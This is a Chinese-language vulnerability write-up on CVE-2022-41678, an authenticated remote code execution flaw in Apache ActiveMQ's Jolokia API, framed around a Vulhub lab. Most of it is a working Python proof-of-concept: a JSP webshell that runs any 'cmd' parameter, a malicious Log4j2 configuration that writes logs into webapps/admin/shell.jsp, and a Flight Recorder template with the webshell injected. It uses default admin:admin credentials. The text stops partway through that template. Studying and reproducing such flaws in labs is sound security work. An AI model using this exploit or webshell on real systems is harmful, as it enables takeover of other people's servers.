Apache ActiveMQ Jolokia 远程代码执行漏洞(CVE-2022-41678)

前言

CVE-2022-41678 是一个 Apache ActiveMQ 中的远程代码执行漏洞,其主要原理是利用了 Jolokia 服务中的不当配置。Jolokia 是一个 JMX 通过 HTTP 的桥接服务,允许通过 HTTP 请求来操作 JMX MBeans。在受影响的 Apache ActiveMQ 版本中,经过身份验证的用户可以通过 /api/jolokia/ 接口操作 MBean。

漏洞的核心是 FlightRecorder MBean,这是 JDK 11 及以上版本中提供的一个功能,用于记录内存、垃圾回收、调用栈等信息。攻击者可以利用以下方法进行攻击:

  1. newRecording - 新建一个记录会话。
  2. setConfiguration - 更改记录会话的配置。
  3. startRecording - 开始记录。
  4. stopRecording - 结束记录。
  5. copyTo - 将记录的数据导出到文件。

攻击者首先通过 setConfiguration 方法修改配置,将一些键名改为 JSP 代码。这样,在记录的数据中就会包含攻击者注入的 JSP 代码。然后,攻击者使用 copyTo 方法将包含恶意代码的记录导出到 ActiveMQ 的 web 目录中,从而在服务器上执行远程代码 。

要复现这个漏洞,攻击者需要能够登录到 ActiveMQ 的后台管理界面,通常是通过默认的 8161 端口,并使用默认的管理员账号和密码(如 admin:admin)。然后,攻击者通过构造特定的 HTTP 请求来利用上述 MBean 方法 。

修复这个漏洞需要升级到官方已经发布的安全补丁版本,或者采取临时防护措施,比如修改默认口令、限制对 Jolokia 接口的访问,或者在非必要时禁用 Jolokia

Vulhub 是一个开源的漏洞环境平台,它提供了各种常见的漏洞环境,供网络安全研究人员和开发者进行学习和测试。Vulhub 的主要目的是通过提供一个易于设置和使用的环境,帮助用户更好地理解和掌握网络安全知识。

以下是 Vulhub 的一些主要特点:

  1. 开源:Vulhub 是一个开源项目,任何人都可以免费使用和贡献代码。
  2. 多样性:Vulhub 提供了多种漏洞环境,包括但不限于 SQL 注入、XSS 跨站脚本、CSRF 跨站请求伪造等。
  3. 易于部署:Vulhub 使用 Docker 容器技术来部署漏洞环境,使得环境的搭建变得简单快捷。
  4. 实时更新:Vulhub 社区会定期更新和添加新的漏洞环境,以保持与网络安全领域的发展同步。
  5. 教育目的:Vulhub 主要用于教育和研究目的,帮助用户学习如何发现和修复安全漏洞。
  6. 社区支持:Vulhub 拥有一个活跃的社区,用户可以在社区中交流心得、分享经验。

Vulhub 是网络安全教育和研究领域中一个非常有用的资源,它可以帮助用户在安全的环境中练习和提升自己的技能。

介绍

Apache ActiveMQ是一个流行的开源、基于Java的消息代理,支持多种协议,能够为不同语言和平台的客户端提供服务。它支持AMQP、STOMP、MQTT等多种消息协议,能够满足各种消息使用场景 。

ActiveMQ分为两个版本:经典版(Classic)和下一代版本(Artemis)。经典版拥有成熟的架构和广泛的插件支持,而Artemis版则提供了高性能、非阻塞的架构,适用于新一代的消息应用 。

ActiveMQ支持JMS 1.1和2.0规范,提供了包括Jakarta Messaging 2.0和3.0在内的完整客户端实现。它还支持通过共享存储或网络复制实现高可用性,以及灵活的集群配置来分发负载 。

ActiveMQ的消息传递模型包括点对点(Queue)和发布订阅(Topic)两种。点对点模型是一对一的通信方式,消息一旦被消费就会被移除;而发布订阅模型允许多个订阅者接收同一条消息 。

ActiveMQ的部署非常灵活,它可以作为一个独立的进程运行,也可以嵌入到应用程序中。它还提供了多种高级特性,包括消息负载均衡、高可用性保护、企业集成模式等 。

在使用上,ActiveMQ支持异步和同步两种消息发送模式,可以根据需要配置消息的持久性,确保消息在发送后不会丢失,即使在发生故障时也能保障消息的安全 。

ActiveMQ还具备事务支持,可以确保消息的可靠传递和处理。此外,它还提供了消息选择器机制,允许根据消息属性选择特定的消息进行消费,支持多种编程语言,具有高可用性 。

总的来说,Apache ActiveMQ是一个功能全面、高度可靠的消息队列系统,适用于需要实现异步通信、解耦、事件驱动和数据同步的分布式系统

漏洞复现

先启动环境

ActiveMQ 中,经过身份验证的用户默认情况下可以通过 /api/jolokia/接口操作 MBean,其中FlightRecorder可以被用于写Jsp WebShell,从而造成远程代码执行漏洞

漏洞入口在 http://localhost:8161/api/jolokia/ ,注意需要带上Origin头才可以访问

第一个方法是使用 org.apache.logging.log4j.core.jmx.LoggerContextAdminMBean,这是由Log4j2提供的一个MBean。

攻击者使用这个MBean中的setConfigText操作可以更改 Log4j 的配置,进而将日志文件写入任意目录中。

使用 Poc

python poc.py -u admin -p admin http://your-ip:8161
#!/usr/bin/env python3
import sys
import logging
import requests
import argparse
import time
from urllib.parse import urljoin
from html import escape

logging.basicConfig(stream=sys.stdout, level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
webshell = ('<% Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); '
            'out.println(org.apache.commons.io.IOUtils.toString(p.getInputStream(), "utf-8")); %>')
original_template = r'''<?xml version="1.0" encoding="UTF-8"?>
<Configuration>
    <Appenders>
        <Console name="Console" target="SYSTEM_OUT">
            <PatternLayout pattern="%5p | %m%n"/>
        </Console>
        <RollingRandomAccessFile name="RollingFile" fileName="${sys:activemq.data}/activemq.log" 
            filePattern="${sys:activemq.data}/activemq.log.%i">
            <PatternLayout pattern="%d | %-5p | %m | %c | %t%n%throwable{full}"/>
            <Policies>
                <SizeBasedTriggeringPolicy size="1MB"/>
            </Policies>
        </RollingRandomAccessFile>
        <RollingRandomAccessFile name="AuditLog" fileName="${sys:activemq.data}/audit.log" filePattern="${sys:activemq.data}/audit.log.%i">
            <PatternLayout pattern="%-5p | %m | %t%n"/>
            <Policies>
                <SizeBasedTriggeringPolicy size="1MB"/>
            </Policies>
        </RollingRandomAccessFile>
    </Appenders>
    <Loggers>
        <Root level="INFO">
            <AppenderRef ref="Console"/>
            <AppenderRef ref="RollingFile"/>
        </Root>
        <Logger name="org.apache.activemq.spring" level="WARN"/>
        <Logger name="org.apache.activemq.web.handler" level="WARN"/>
        <Logger name="org.springframework" level="WARN"/>
        <Logger name="org.apache.xbean" level="WARN"/>
        <Logger name="org.eclipse.jetty" level="WARN"/>
        <Logger name="org.apache.activemq.audit" level="INFO" additivity="false">
            <AppenderRef ref="AuditLog"/>
        </Logger>
        <!-- Uncomment and modify as needed for ActiveMQ logger
        <Logger name="org.apache.activemq" level="DEBUG"/>
        -->
    </Loggers>
</Configuration>
'''
evil_template = r'''<?xml version="1.0" encoding="UTF-8"?>
<Configuration>
    <Appenders>
        <Console name="Console" target="SYSTEM_OUT">
            <PatternLayout pattern="%5p | %m%n"/>
        </Console>
        <RollingRandomAccessFile name="RollingFile" fileName="${sys:activemq.data}/../webapps/admin/shell.jsp" 
            filePattern="${sys:activemq.data}/../webapps/admin/shell.jsp.%i">
            <PatternLayout pattern="%d | %-5p | %m | %c | %t%n%throwable{full}"/>
            <Policies>
                <SizeBasedTriggeringPolicy size="1MB"/>
            </Policies>
        </RollingRandomAccessFile>
        <RollingRandomAccessFile name="AuditLog" fileName="${sys:activemq.data}/audit.log" filePattern="${sys:activemq.data}/audit.log.%i">
            <PatternLayout pattern="%-5p | %m | %t%n"/>
            <Policies>
                <SizeBasedTriggeringPolicy size="1MB"/>
            </Policies>
        </RollingRandomAccessFile>
    </Appenders>
    <Loggers>
        <Root level="INFO">
            <AppenderRef ref="Console"/>
            <AppenderRef ref="RollingFile"/>
        </Root>
        <Logger name="org.apache.activemq.spring" level="WARN"/>
        <Logger name="org.apache.activemq.web.handler" level="WARN"/>
        <Logger name="org.springframework" level="WARN"/>
        <Logger name="org.apache.xbean" level="WARN"/>
        <Logger name="org.eclipse.jetty" level="DEBUG"/>
        <Logger name="org.apache.activemq.audit" level="INFO" additivity="false">
            <AppenderRef ref="AuditLog"/>
        </Logger>
        <!-- Uncomment and modify as needed for ActiveMQ logger
        <Logger name="org.apache.activemq" level="DEBUG"/>
        -->
    </Loggers>
</Configuration>
'''
record_template = r'''<?xml version="1.0" encoding="UTF-8"?>

<!--
     Recommended way to edit .jfc files is to use Java Mission Control,
     see Window -> Flight Recorder Template Manager.
-->

<configuration version="2.0" label="Continuous" description="Low overhead configuration safe for continuous use in production environments, typically less than 1 % overhead." provider="Oracle">

    <event name="jdk.ThreadAllocationStatistics">
      <setting name="enabled">true</setting>
      <setting name="period"><![CDATA[||| '''+webshell+r''' |||]]></setting>
    </event>

    <event name="jdk.ClassLoadingStatistics">
      <setting name="enabled">true</setting>
      <setting name="period">1000 ms</setting>
    </event>

    <event name="jdk.ClassLoaderStatistics">
      <setting name="enabled">true</setting>
      <setting name="period">everyChunk</setting>
    </event>

    <event name="jdk.JavaThreadStatistics">
      <setting name="enabled">true</setting>
      <setting name="period">1000 ms</setting>
    </event>

    <event name="jdk.ThreadStart">
      <setting name="enabled">true</setting>
      <setting name="stackTrace">true</setting>
    </event>

    <event name="jdk.ThreadEnd">
      <setting name="enabled">true</setting>
    </event>

    <event name="jdk.ThreadSleep">
      <setting name="enabled">true</setting>
      <setting name="stackTrace">true</setting>
      <setting name="threshold" control="synchronization-threshold">20 ms</setting>
    </event>

    <event name="jdk.ThreadPark">
      <setting name="enabled">true</setting>
      <setting name="stackTrace">true</setting>
      <setting name="threshold" control="synchronization-threshold">20 ms</setting>
    </event>

    <event name="jdk.JavaMonitorEnter">
      <setting name="enabled">true</setting>
      <setting name="stackTrace">true</setting>
      <setting name="threshold" control="synchronization-threshold">20 ms</setting>
    </event>

    <event name="jdk.JavaMonitorWait">
      <setting name="enabled">true</setting>
      <setting name="stackTrace">true</setting>
      <setting name="threshold" control="synchronization-threshold">20 ms</setting>
    </event>

    <event name="jdk.JavaMonitorInflate">
      <setting name="enabled">false</setting>
      <setting name="stackTrace">true</setting>
      <setting name="threshold" control="synchronization-threshold">20 ms</setting>
    </event>

    <event name="jdk.BiasedLockRevocation">
      <setting name="enabled">true</setting>
      <setting name="stackTrace">true</setting>
      <setting name="threshold">0 ms</setting>
    </event>

    <event name="jdk.BiasedLockSelfRevocation">
      <setting name="enabled">true</setting>
      <setting name="stackTrace">true</setting>
      <setting name="threshold">0 ms</setting>
    </event>

    <event name="jdk.BiasedLockClassRevocation">
      <setting name="enabled">true</setting>
      <setting name="stackTrace">true</setting>
      <setting name="threshold">0 ms</setting>
    </event>

    <event name="jdk.ReservedStackActivation">
      <setting name="enabled">true</setting>
      <setting name="stackTrace">true</setting>
    </event>

    <event name="jdk.ClassLoad">
      <setting name="enabled" control="class-loading-enabled">false</setting>
      <setting name="stackTrace">true</setting>
      <setting name="threshold">0 ms</setting>
    </event>

    <event name="jdk.ClassDefine">
      <setting name="enabled" control="class-loading-enabled">false</setting>
      <setting name="stackTrace">true</setting>
    </event>

    <event name="jdk.ClassUnload">
      <setting name="enabled" control="class-loading-enabled">false</setting>
    </event>

    <event name="jdk.JVMInformation">
      <setting name="enabled">true</setting>
      <setting name="period">beginChunk</setting>
    </event>

    <event name="jdk.InitialSystemProperty">
      <setting name="enabled">true</setting>
      <setting name="period">beginChunk</setting>
    </event>

    <event name="jdk.ExecutionSample">
      <setting name="enabled" control="method-sampling-enabled">true</setting>
      <setting name="period" control="method-sampling-java-interval">20 ms</setting>
    </event>

    <event name="jdk.NativeMethodSample">
      <setting name="enabled" control="method-sampling-enabled">true</setting>
      <setting name="period" control="method-sampling-native-interval">20 ms</setting>
    </event>

    <event name="jdk.SafepointBegin">
      <setting name="enabled">true</setting>
      <setting name="threshold">10 ms</setting>
    </event>

    <event name="jdk.SafepointStateSynchronization">
      <setting name="enabled">false</setting>
      <setting name="threshold">10 ms</setting>
    </event>

    <event name="jdk.SafepointWaitBlocked">
      <setting name="enabled">false</setting>
      <setting name="threshold">10 ms</setting>
    </event>

    <event name="jdk.SafepointCleanup">
      <setting name="enabled">false</setting>
      <setting name="threshold">10 ms</setting>
    </event>

    <event name="jdk.SafepointCleanupTask">
      <setting name="enabled">false</setting>
      <setting name="threshold">10 ms</setting>
    </event>

    <event name="jdk.SafepointEnd">
      <setting name="enabled">false</setting>
      <setting name="threshold">10 ms</setting>
    </event>

    <event name="jdk.ExecuteVMOperation">
      <setting name="enabled">true</setting>
      <setting name="threshold">10 ms</setting>
    </event>

    <event name="jdk.Shutdown">
      <setting name="enabled">true</setting>
      <setting name="stackTrace">true</setting>
    </event>

    <event name="jdk.ThreadDump">
      <setting name="enabled" control="thread-dump-enabled">true</setting>
      <setting name="period" control="thread-dump-interval">everyChunk</setting>
    </event>

    <event name="jdk.IntFlag">
      <setting name="enabled">true</setting>
      <setting name="period">beginChunk</setting>
    </event>

    <event name="jdk.UnsignedIntFlag">
      <setting name="enabled">true</setting>
      <setting name="period">beginChunk</setting>
    </event>

    <event name="jdk.LongFlag">
      <setting name="enabled">true</setting>
      <setting name="period">beginChunk</setting>
    </event>

    <event name="jdk.UnsignedLongFlag">
      <setting name="enabled">true</setting>
      <setting name="period">beginChunk</setting>
    </event>

    <event name="jdk.DoubleFlag">
      <setting name="enabled">true</setting>
      <setting name="period">beginChunk</setting>
    </event>

    <event name="jdk.BooleanFlag">
      <setting name="enabled">true</setting>
      <setting name="period">beginChunk</setting>
    </event>

    <event name="jdk.StringFlag">
      <setting name="enabled">true</setting>
      <setting name="period">beginChunk</setting>
    </event>

    <event name="jdk.IntFlagChanged">
      <setting name="enabled">true</setting>
    </event>

    <event name="jdk.UnsignedIntFlagChanged">
      <setting name="enabled">true</setting>
    </event>

    <event name="jdk.LongFlagChanged">
      <setting name="enabled">true</setting>
    </event>

    <event name="jdk.UnsignedLongFlagChanged">
      <setting name="enabled">true</setting>
    </event>

    <event name="jdk.DoubleFlagChanged">
      <setting name="enabled">true</setting>
    </event>

    <event name="jdk.BooleanFlagChanged">
      <setting name="enabled">true</setting>
    </event>

    <event name="jdk.StringFlagChanged">
      <setting name="enabled">true</setting>
    </event>

    <event name="jdk.ObjectCount">
      <setting name="enabled" control="memory-profiling-enabled-all">false</setting>
      <setting name="period">everyChunk</setting>
    </event>

    <event name="jdk.GCConfiguration">
      <setting name="enabled" control="gc-enabled-normal">true</setting>
      <setting name="period">everyChunk</setting>
    </event>

    <event name="jdk.GCHeapConfiguration">
      <setting name="enabled" control="gc-enabled-normal">true</setting>
      <setting name="period">beginChunk</setting>
    </event>

    <event name="jdk.YoungGenerationConfiguration">
      <setting name="enabled" control="gc-enabled-normal">true</setting>
      <setting name="period">beginChunk</setting>
    </event>

    <event name="jdk.GCTLABConfiguration">
      <setting name="enabled" control="gc-enabled-normal">true</setting>
      <setting name="period">beginChunk</setting>
    </event>

    <event name="jdk.GCSurvivorConfiguration">
      <setting name="enabled" control="gc-enabled-normal">true</setting>
      <setting name="period">beginChunk</setting>
    </event>

    <event name="jdk.ObjectCountAfterGC">
      <setting name="enabled">false</setting>
    </event>

    <event name="jdk.GCHeapSummary">
      <setting name="enabled" control="gc-enabled-normal">true</setting>
    </event>

    <event name="jdk.PSHeapSummary">
      <setting name="enabled" control="gc-enabled-normal">true</setting>
    </event>

    <event name="jdk.G1HeapSummary">
      <setting name="enabled" control="gc-enabled-normal">true</setting>
    </event>

    <event name="jdk.MetaspaceSummary">
      <setting name="enabled" control="gc-enabled-normal">true</setting>
    </event>

    <event name="jdk.MetaspaceGCThreshold">
      <setting name="enabled" control="gc-enabled-normal">true</setting>
    </event>

    <event name="jdk.MetaspaceAllocationFailure">
      <setting name="enabled" control="gc-enabled-normal">true</setting>
      <setting name="stackTrace">true</setting>
    </event>

    <event name="jdk.MetaspaceOOM">
      <setting name="enabled" control="gc-enabled-normal">true</setting>
      <setting name="stackTrace">true</setting>
    </event>

    <event name="jdk.MetaspaceChunkFreeListSummary">
      <setting name="enabled" control="gc-enabled-normal">true</setting>
    </event>

    <event name="jdk.GarbageCollection">
      <setting name="enabled" control="gc-enabled-normal">true</setting>
      <setting name="threshold">0 ms</setting>
    </event>

    <event name="jdk.ParallelOldGarbageCollection">
      <setting name="enabled" control="gc-enabled-normal">true</setting>
      <setting name="threshold">0 ms</setting>
    </event>

    <event name="jdk.YoungGarbageCollection">
      <setting name="enabled" control="gc-enabled-normal">true</setting>
      <setting name="threshold">0 ms</setting>
    </event>

    <event name="jdk.OldGarbageCollection">
      <setting name="enabled" control="gc-enabled-normal">true</setting>
      <setting name="threshold">0 ms</setting>
    </event>

    <event name="jdk.G1GarbageCollection">
      <setting name="enabled" control="gc-enabled-normal">true</setting>
      <setting name="threshold">0 ms</setting>
    </event>

    <event name="jdk.GCPhasePause">
      <setting name="enabled" control="gc-enabled-normal">true</setting>
      <setting name="threshold">0 ms</setting>
    </event>

    <event name="jdk.GCPhasePauseLevel1">
      <setting name="enabled" control="gc-enabled-normal">true</setting>
      <setting name="threshold">0 ms</setting>
    </event>

    <event name="jdk.GCPhasePauseLevel2">
      <setting name="enabled" control="gc-enabled-normal">true</setting>
      <setting name="threshold">0 ms</setting>
    </event>

    <event name="jdk.GCPhasePauseLevel3">
      <setting name="enabled" control="gc-enabled-all">false</setting>
      <setting name="threshold">0 ms</setting>
    </event>

    <event name="jdk.GCPhasePauseLevel4">
      <setting name="enabled" control="gc-enabled-all">false</setting>
      <setting name="threshold">0 ms</setting>
    </event>

    <event name="jdk.GCPhaseConcurrent">
      <setting name="enabled" control="gc-enabled-all">true</setting>
      <setting name="threshold">0 ms</setting>
    </event>

    <event name="jdk.GCReferenceStatistics">
      <setting name="enabled" control="gc-enabled-normal">true</setting>
    </event>

    <event name="jdk.PromotionFailed">
      <setting name="enabled" control="gc-enabled-normal">true</setting>
    </event>

    <event name="jdk.EvacuationFailed">
      <setting name="enabled" control="gc-enabled-normal">true</setting>
    </event>

    <event name="jdk.EvacuationInformation">
      <setting name="enabled" control="gc-enabled-normal">true</setting>
    </event>

    <event name="jdk.G1MMU">
      <setting name="enabled" control="gc-enabled-normal">true</setting>
    </event>

    <event name="jdk.G1EvacuationYoungStatistics">
      <setting name="enabled" control="gc-enabled-normal">true</setting>
    </event>

    <event name="jdk.G1EvacuationOldStatistics">
      <setting name="enabled" control="gc-enabled-normal">true</setting>
    </event>

    <event name="jdk.G1BasicIHOP">
      <setting name="enabled" control="gc-enabled-normal">true</setting>
    </event>

    <event name="jdk.G1AdaptiveIHOP">
      <setting name="enabled" control="gc-enabled-normal">true</setting>
    </event>

    <event name="jdk.PromoteObjectInNewPLAB">
      <setting name="enabled" control="memory-profiling-enabled-medium">false</setting>
    </event>

    <event name="jdk.PromoteObjectOutsidePLAB">
      <setting name="enabled" control="memory-profiling-enabled-medium">false</setting>
    </event>

    <event name="jdk.ConcurrentModeFailure">
      <setting name="enabled" control="gc-enabled-normal">true</setting>
    </event>

    <event name="jdk.AllocationRequiringGC">
      <setting name="enabled" control="gc-enabled-all">false</setting>
      <setting name="stackTrace">true</setting>
    </event>

    <event name="jdk.TenuringDistribution">
      <setting name="enabled" control="gc-enabled-normal">true</setting>
    </event>

    <event name="jdk.G1HeapRegionInformation">
      <setting name="enabled" control="gc-enabled-all">false</setting>
      <setting name="period">everyChunk</setting>
    </event>

    <event name="jdk.G1HeapRegionTypeChange">
      <setting name="enabled" control="gc-enabled-all">false</setting>
    </event>

    <event name="jdk.ShenandoahHeapRegionInformation">
      <setting name="enabled" control="gc-enabled-all">false</setting>
      <setting name="period">everyChunk</setting>
    </event>

    <event name="jdk.ShenandoahHeapRegionStateChange">
      <setting name="enabled" control="gc-enabled-all">false</setting>
    </event>

    <event name="jdk.OldObjectSample">
      <setting name="enabled" control="memory-leak-detection-enabled">true</setting>
      <setting name="stackTrace" control="memory-leak-detection-stack-trace">false</setting>
      <setting name="cutoff" control="memory-leak-detection-cutoff">0 ns</setting>
    </event>

    <event name="jdk.CompilerConfiguration">
      <setting name="enabled" control="compiler-enabled">true</setting>
      <setting name="period">beginChunk</setting>
    </event>

    <event name="jdk.CompilerStatistics">
      <setting name="enabled" control="compiler-enabled">true</setting>
      <setting name="period">1000 ms</setting>
    </event>

    <event name="jdk.Compilation">
      <setting name="enabled" control="compiler-enabled">true</setting>
      <setting name="threshold" control="compiler-compilation-threshold">1000 ms</setting>
    </event>

    <event name="jdk.CompilerPhase">
      <setting name="enabled" control="compiler-enabled">true</setting>
      <setting name="threshold" control="compiler-phase-threshold">60 s</setting>
    </event>

    <event name="jdk.CompilationFailure">
      <setting name="enabled" control="compiler-enabled-failure">false</setting>
    </event>

    <event name="jdk.CompilerInlining">
      <setting name="enabled" control="compiler-enabled-failure">false</setting>
    </event>

    <event name="jdk.CodeSweeperConfiguration">
      <setting name="enabled" control="compiler-enabled">true</setting>
      <setting name="period">beginChunk</setting>
    </event>

    <event name="jdk.CodeSweeperStatistics">
      <setting name="enabled" control="compiler-enabled">true</setting>
      <setting name="period">everyChunk</setting>
    </event>

    <event name="jdk.SweepCodeCache">
      <setting name="enabled" control="compiler-enabled">true</setting>
      <setting name="threshold" control="compiler-sweeper-threshold">100 ms</setting>
    </event>

    <event name="jdk.CodeCacheConfiguration">
      <setting name="enabled" control="compiler-enabled">true</setting>
      <setting name="period">beginChunk</setting>
    </event>

    <event name="jdk.CodeCacheStatistics">
      <setting name="enabled" control="compiler-enabled">true</setting>
      <setting name="period">everyChunk</setting>
    </event>

    <event name="jdk.CodeCacheFull">
      <setting name="enabled" control="compiler-enabled">true</setting>
    </event>

    <event name="jdk.OSInformation">
      <setting name="enabled">true</setting>
      <setting name="period">beginChunk</setting>
    </event>

    <event name="jdk.VirtualizationInformation">
     <setting name="enabled">true</setting>
     <setting name="period">beginChunk</setting>
    </event>

    <event name="jdk.CPUInformation">
      <setting name="enabled">true</setting>
      <setting name="period">beginChunk</setting>
    </event>

    <event name="jdk.ThreadContextSwitchRate">
      <setting name="enabled" control="compiler-enabled">true</setting>
      <setting name="period">10 s</setting>
    </event>

    <event name="jdk.CPULoad">
      <setting name="enabled">true</setting>
      <setting name="period">1000 ms</setting>
    </event>

    <event name="jdk.ThreadCPULoad">
      <setting name="enabled">true</setting>
      <setting name="period">10 s</setting>
    </event>

    <event name="jdk.CPUTimeStampCounter">
      <setting name="enabled">true</setting>
      <setting name="period">beginChunk</setting>
    </event>

    <event name="jdk.SystemProcess">
      <setting name="enabled">true</setting>
      <setting name="period">endChunk</setting>
    </event>

    <event name="jdk.NetworkUtilization">
      <setting name="enabled">true</setting>
      <setting name="period">5 s</setting>
    </event>

    <event name="jdk.InitialEnvironmentVariable">
      <setting name="enabled">true</setting>
      <setting name="period">beginChunk</setting>
    </event>

    <event name="jdk.PhysicalMemory">
      <setting name="enabled">true</setting>
      <setting name="period">everyChunk</setting>
    </event>

    <event name="jdk.ObjectAllocationInNewTLAB">
      <setting name="enabled" control="memory-profiling-enabled-medium">false</setting>
      <setting name="stackTrace">true</setting>
    </event>

    <event name="jdk.ObjectAllocationOutsideTLAB">
      <setting name="enabled" control="memory-profiling-enabled-medium">false</setting>
      <setting name="stackTrace">true</setting>
    </event>

    <event name="jdk.NativeLibrary">
      <setting name="enabled">true</setting>
      <setting name="period">everyChunk</setting>
    </event>

    <event name="jdk.ModuleRequire">
      <setting name="enabled">true</setting>
      <setting name="period">endChunk</setting>
    </event>

    <event name="jdk.ModuleExport">
      <setting name="enabled">true</setting>
      <setting name="period">endChunk</setting>
    </event>

    <event name="jdk.FileForce">
      <setting name="enabled">true</setting>
      <setting name="stackTrace">true</setting>
      <setting name="threshold" control="file-io-threshold">20 ms</setting>
    </event>

    <event name="jdk.FileRead">
      <setting name="enabled">true</setting>
      <setting name="stackTrace">true</setting>
      <setting name="threshold" control="file-io-threshold">20 ms</setting>
    </event>

    <event name="jdk.FileWrite">
      <setting name="enabled">true</setting>
      <setting name="stackTrace">true</setting>
      <setting name="threshold" control="file-io-threshold">20 ms</setting>
    </event>

    <event name="jdk.SocketRead">
      <setting name="enabled">true</setting>
      <setting name="stackTrace">true</setting>
      <setting name="threshold" control="socket-io-threshold">20 ms</setting>
    </event>

    <event name="jdk.SocketWrite">
      <setting name="enabled">true</setting>
      <setting name="stackTrace">true</setting>
      <setting name="threshold" control="socket-io-threshold">20 ms</setting>
    </event>

    <event name="jdk.SecurityPropertyModification">
       <setting name="enabled">false</setting>
       <setting name="stackTrace">true</setting>
    </event>

    <event name="jdk.TLSHandshake">
      <setting name="enabled">false</setting>
      <setting name="stackTrace">true</setting>
    </event>

    <event name="jdk.X509Validation">
       <setting name="enabled">false</setting>
       <setting name="stackTrace">true</setting>
    </event>

    <event name="jdk.X509Certificate">
       <setting name="enabled">false</setting>
       <setting name="stackTrace">true</setting>
    </event>

    <event name="jdk.JavaExceptionThrow">
      <setting name="enabled" control="enable-exceptions">false</setting>
      <setting name="stackTrace">true</setting>
    </event>

    <event name="jdk.JavaErrorThrow">
      <setting name="enabled" control="enable-errors">true</setting>
      <setting name="stackTrace">true</setting>
    </event>

    <event name="jdk.ExceptionStatistics">
      <setting name="enabled">true</setting>
      <setting name="period">1000 ms</setting>
    </event>

    <event name="jdk.ActiveRecording">
      <setting name="enabled">true</setting>
    </event>

    <event name="jdk.ActiveSetting">
      <setting name="enabled">true</setting>
    </event>

    <event name="jdk.DataLoss">
      <setting name="enabled">true</setting>
    </event>

    <event name="jdk.DumpReason">
      <setting name="enabled">true</setting>
    </event>

    <event name="jdk.ZPageAllocation">
      <setting name="enabled">true</setting>
      <setting name="threshold">10 ms</setting>
    </event>

    <event name="jdk.ZThreadPhase">
      <setting name="enabled">true</setting>
      <setting name="threshold">0 ms</setting>
    </event>

    <event name="jdk.ZStatisticsCounter">
      <setting name="enabled">true</setting>
      <setting name="threshold">10 ms</setting>
    </event>

    <event name="jdk.ZStatisticsSampler">
      <setting name="enabled">true</setting>
      <setting name="threshold">10 ms</setting>
    </event>

    <!--
        Contents of the control element is not read by the JVM, it's used
        by Java Mission Control to change settings that carry the control attribute.
    -->
    <control>
      <selection name="gc-level" default="detailed" label="Garbage Collector">
        <option label="Off" name="off">off</option>
        <option label="Normal" name="detailed">normal</option>
        <option label="All" name="all">all</option>
      </selection>

      <condition name="gc-enabled-normal" true="true" false="false">
        <or>
          <test name="gc-level" operator="equal" value="normal"/>
          <test name="gc-level" operator="equal" value="all"/>
        </or>
      </condition>

      <condition name="gc-enabled-all" true="true" false="false">
        <test name="gc-level" operator="equal" value="all"/>
      </condition>

      <selection name="memory-profiling" default="off" label="Memory Profiling">
        <option label="Off" name="off">off</option>
        <option label="Object Allocation and Promotion" name="medium">medium</option>
        <option label="All, including Heap Statistics (May cause long full GCs)" name="all">all</option>
      </selection>

      <condition name="memory-profiling-enabled-medium" true="true" false="false">
        <or>
          <test name="memory-profiling" operator="equal" value="medium"/>
          <test name="memory-profiling" operator="equal" value="all"/>
        </or>
      </condition>

      <condition name="memory-profiling-enabled-all" true="true" false="false">
        <test name="memory-profiling" operator="equal" value="all"/>
      </condition>

      <selection name="compiler-level" default="normal" label="Compiler">
        <option label="Off" name="off">off</option>
        <option label="Normal" name="normal">normal</option>
        <option label="Detailed" name="detailed">detailed</option>
        <option label="All" name="all">all</option>
      </selection>

      <condition name="compiler-enabled" true="false" false="true">
        <test name="compiler-level" operator="equal" value="off"/>
      </condition>

      <condition name="compiler-enabled-failure" true="true" false="false">
        <or>
          <test name="compiler-level" operator="equal" value="detailed"/>
          <test name="compiler-level" operator="equal" value="all"/>
        </or>
      </condition>

      <condition name="compiler-sweeper-threshold" true="0 ms" false="100 ms">
        <test name="compiler-level" operator="equal" value="all"/>
      </condition>

      <condition name="compiler-compilation-threshold" true="1000 ms">
        <test name="compiler-level" operator="equal" value="normal"/>
      </condition>

      <condition name="compiler-compilation-threshold" true="100 ms">
        <test name="compiler-level" operator="equal" value="detailed"/>
      </condition>

      <condition name="compiler-compilation-threshold" true="0 ms">
        <test name="compiler-level" operator="equal" value="all"/>
      </condition>

      <condition name="compiler-phase-threshold" true="60 s">
        <test name="compiler-level" operator="equal" value="normal"/>
      </condition>

      <condition name="compiler-phase-threshold" true="10 s">
        <test name="compiler-level" operator="equal" value="detailed"/>
      </condition>

      <condition name="compiler-phase-threshold" true="0 s">
        <test name="compiler-level" operator="equal" value="all"/>
      </condition>

      <selection name="method-sampling-interval" default="normal" label="Method Sampling">
        <option label="Off" name="off">off</option>
        <option label="Normal" name="normal">normal</option>
        <option label="High" name="high">high</option>
        <option label="Ludicrous (High Overhead)" name="ludicrous">ludicrous</option>
      </selection>
      
      <condition name="method-sampling-java-interval" true="999 d">
        <test name="method-sampling-interval" operator="equal" value="off"/>
      </condition>

      <condition name="method-sampling-java-interval" true="20 ms">
        <test name="method-sampling-interval" operator="equal" value="normal"/>
      </condition>

      <condition name="method-sampling-java-interval" true="10 ms">
        <test name="method-sampling-interval" operator="equal" value="high"/>
      </condition>

      <condition name="method-sampling-java-interval" true="1 ms">
        <test name="method-sampling-interval" operator="equal" value="ludicrous"/>
      </condition>
      
      <condition name="method-sampling-native-interval" true="999 d">
        <test name="method-sampling-interval" operator="equal" value="off"/>
      </condition>

      <condition name="method-sampling-native-interval" true="20 ms">
        <or>
          <test name="method-sampling-interval" operator="equal" value="normal"/>
          <test name="method-sampling-interval" operator="equal" value="high"/>
          <test name="method-sampling-interval" operator="equal" value="ludicrous"/>
        </or>
      </condition>  

      <condition name="method-sampling-enabled" true="false" false="true">
        <test name="method-sampling-interval" operator="equal" value="off"/>
      </condition>

      <selection name="thread-dump-interval" default="normal" label="Thread Dump">
        <option label="Off" name="off">999 d</option>
        <option label="At least Once" name="normal">everyChunk</option>
        <option label="Every 60 s" name="everyMinute">60 s</option>
        <option label="Every 10 s" name="everyTenSecond">10 s</option>
        <option label="Every 1 s" name="everySecond">1 s</option>
      </selection>

      <condition name="thread-dump-enabled" true="false" false="true">
        <test name="thread-dump-interval" operator="equal" value="999 d"/>
      </condition>

      <selection name="exception-level" default="errors" label="Exceptions">
        <option label="Off" name="off">off</option>
        <option label="Errors Only" name="errors">errors</option>
        <option label="All Exceptions, including Errors" name="all">all</option>
      </selection>

      <condition name="enable-errors" true="true" false="false">
        <or>
